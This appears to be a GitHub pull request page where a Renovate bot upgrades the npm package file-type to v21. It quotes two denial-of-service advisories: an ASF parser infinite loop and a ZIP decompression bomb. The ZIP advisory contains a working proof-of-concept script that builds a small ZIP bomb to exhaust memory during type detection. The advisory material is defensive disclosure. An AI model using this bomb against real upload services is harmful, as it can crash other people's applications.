Skip to content

fix(deps): update dependency file-type to v21 [security] - #2102

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-file-type-vulnerability
Open

fix(deps): update dependency file-type to v21 [security]#2102
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-file-type-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Mar 11, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
file-type ^20.0.0^21.0.0 age confidence

file-type affected by infinite loop in ASF parser on malformed input with zero-size sub-header

CVE-2026-31808 / GHSA-5v7r-6r5c-r473

More information

Details

Impact

A denial of service vulnerability exists in the ASF (WMV/WMA) file type detection parser. When parsing a crafted input where an ASF sub-header has a size field of zero, the parser enters an infinite loop. The payload value becomes negative (-24), causing tokenizer.ignore(payload) to move the read position backwards, so the same sub-header is read repeatedly forever.

Any application that uses file-type to detect the type of untrusted/attacker-controlled input is affected. An attacker can stall the Node.js event loop with a 55-byte payload.

Patches

Fixed in version 21.3.1. Users should upgrade to >= 21.3.1.

Workarounds

Validate or limit the size of input buffers before passing them to file-type, or run file type detection in a worker thread with a timeout.

References
  • Fix commit: 319abf871b50ba2fa221b4a7050059f1ae096f4f
Reporter

crnkovic@lokvica.com

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry

CVE-2026-32630 / GHSA-j47w-4g3g-c36v

More information

Details

Summary

A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().

In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().

This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.

Root Cause

The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.

For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAX_SAFE_INTEGER in two relevant places:

const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
	? maximumZipEntrySizeInBytes
	: Number.MAX_SAFE_INTEGER;

and:

const maximumLength = hasUnknownFileSize(this.tokenizer)
	? maximumZipEntrySizeInBytes
	: Number.MAX_SAFE_INTEGER;

Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [Content_Types].xml.

Proof of Concept
import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';

async function createZipBomb(sizeInMegabytes) {
	return new Promise((resolve, reject) => {
		const chunks = [];
		const writable = new Writable({
			write(chunk, encoding, callback) {
				chunks.push(chunk);
				callback();
			},
		});

		const archive = archiver('zip', {zlib: {level: 9}});
		archive.pipe(writable);
		writable.on('finish', () => {
			resolve(Buffer.concat(chunks));
		});
		archive.on('error', reject);

		const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
		const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
		archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
		archive.finalize();
	});
}

const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));

const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;

console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));

Observed on file-type 21.3.1:

  • ZIP size: about 255 KB
  • RSS growth during detection: about 257 MB
Affected APIs

Affected:

  • fileTypeFromBuffer()
  • fileTypeFromBlob()
  • fileTypeFromFile()

Not affected:

  • fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs
Impact

Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.

Cause

The issue was introduced in 399b0f1

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

sindresorhus/file-type (file-type)

v21.3.2

Compare Source


v21.3.1

Compare Source


v21.3.0

Compare Source

  • Add support for Mach-O Universal (aka "Fat") binaries and additional architectures (#​779) d223491

v21.2.0

Compare Source


v21.1.1

Compare Source


v21.1.0

Compare Source


v21.0.0

Compare Source

Breaking
  • Require Node.js 20 24aec1f
  • Drop Adobe Illustrator (.ai) detection support (#​743) af169f3
  • Correct Matroska (video) MIME-type to formal IANA registration (#​753) f53f5ff
  • Correct FLAC MIME-type to formal IANA registration (#​755) b9fda36
  • Correct Apache Parquet MIME-type to formal IANA registration (#​748) 98e3f8e
  • Correct Apache Arrow MIME-type to formal IANA registration (#​754) 7184775
Improvements
Fixes


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@cloudflare-workers-and-pages

cloudflare-workers-and-pages Bot commented Mar 11, 2026

Copy link
Copy Markdown

Deploying graph-tooling with  Cloudflare Pages  Cloudflare Pages

Latest commit: 4933087
Status:🚫  Build failed.

View logs

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Mar 11, 2026
@renovate
renovate Bot requested review from 0237h and YaroShkvorets March 11, 2026 02:04
@changeset-bot

changeset-bot Bot commented Mar 11, 2026

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: 4933087

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate
renovate Bot force-pushed the renovate/npm-file-type-vulnerability branch from 3baddad to 66ffc8f Compare March 13, 2026 12:12
@renovate renovate Bot changed the title fix(deps): update dependency file-type to v21 [security] fix(deps): update dependency file-type to v21 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/npm-file-type-vulnerability branch March 27, 2026 00:56
@renovate renovate Bot changed the title fix(deps): update dependency file-type to v21 [security] - autoclosed fix(deps): update dependency file-type to v21 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-file-type-vulnerability branch 2 times, most recently from 66ffc8f to ed80021 Compare March 30, 2026 21:36
@renovate renovate Bot changed the title fix(deps): update dependency file-type to v21 [security] fix(deps): update dependency file-type to v21 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title fix(deps): update dependency file-type to v21 [security] - autoclosed fix(deps): update dependency file-type to v21 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/npm-file-type-vulnerability branch 2 times, most recently from ed80021 to cd95acb Compare April 27, 2026 21:55
@renovate
renovate Bot force-pushed the renovate/npm-file-type-vulnerability branch from cd95acb to 01b6bf9 Compare May 12, 2026 12:52
@renovate
renovate Bot force-pushed the renovate/npm-file-type-vulnerability branch from 01b6bf9 to 95a06e9 Compare May 28, 2026 21:37
@renovate
renovate Bot force-pushed the renovate/npm-file-type-vulnerability branch from 95a06e9 to 4933087 Compare August 26, 2026 15:04
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants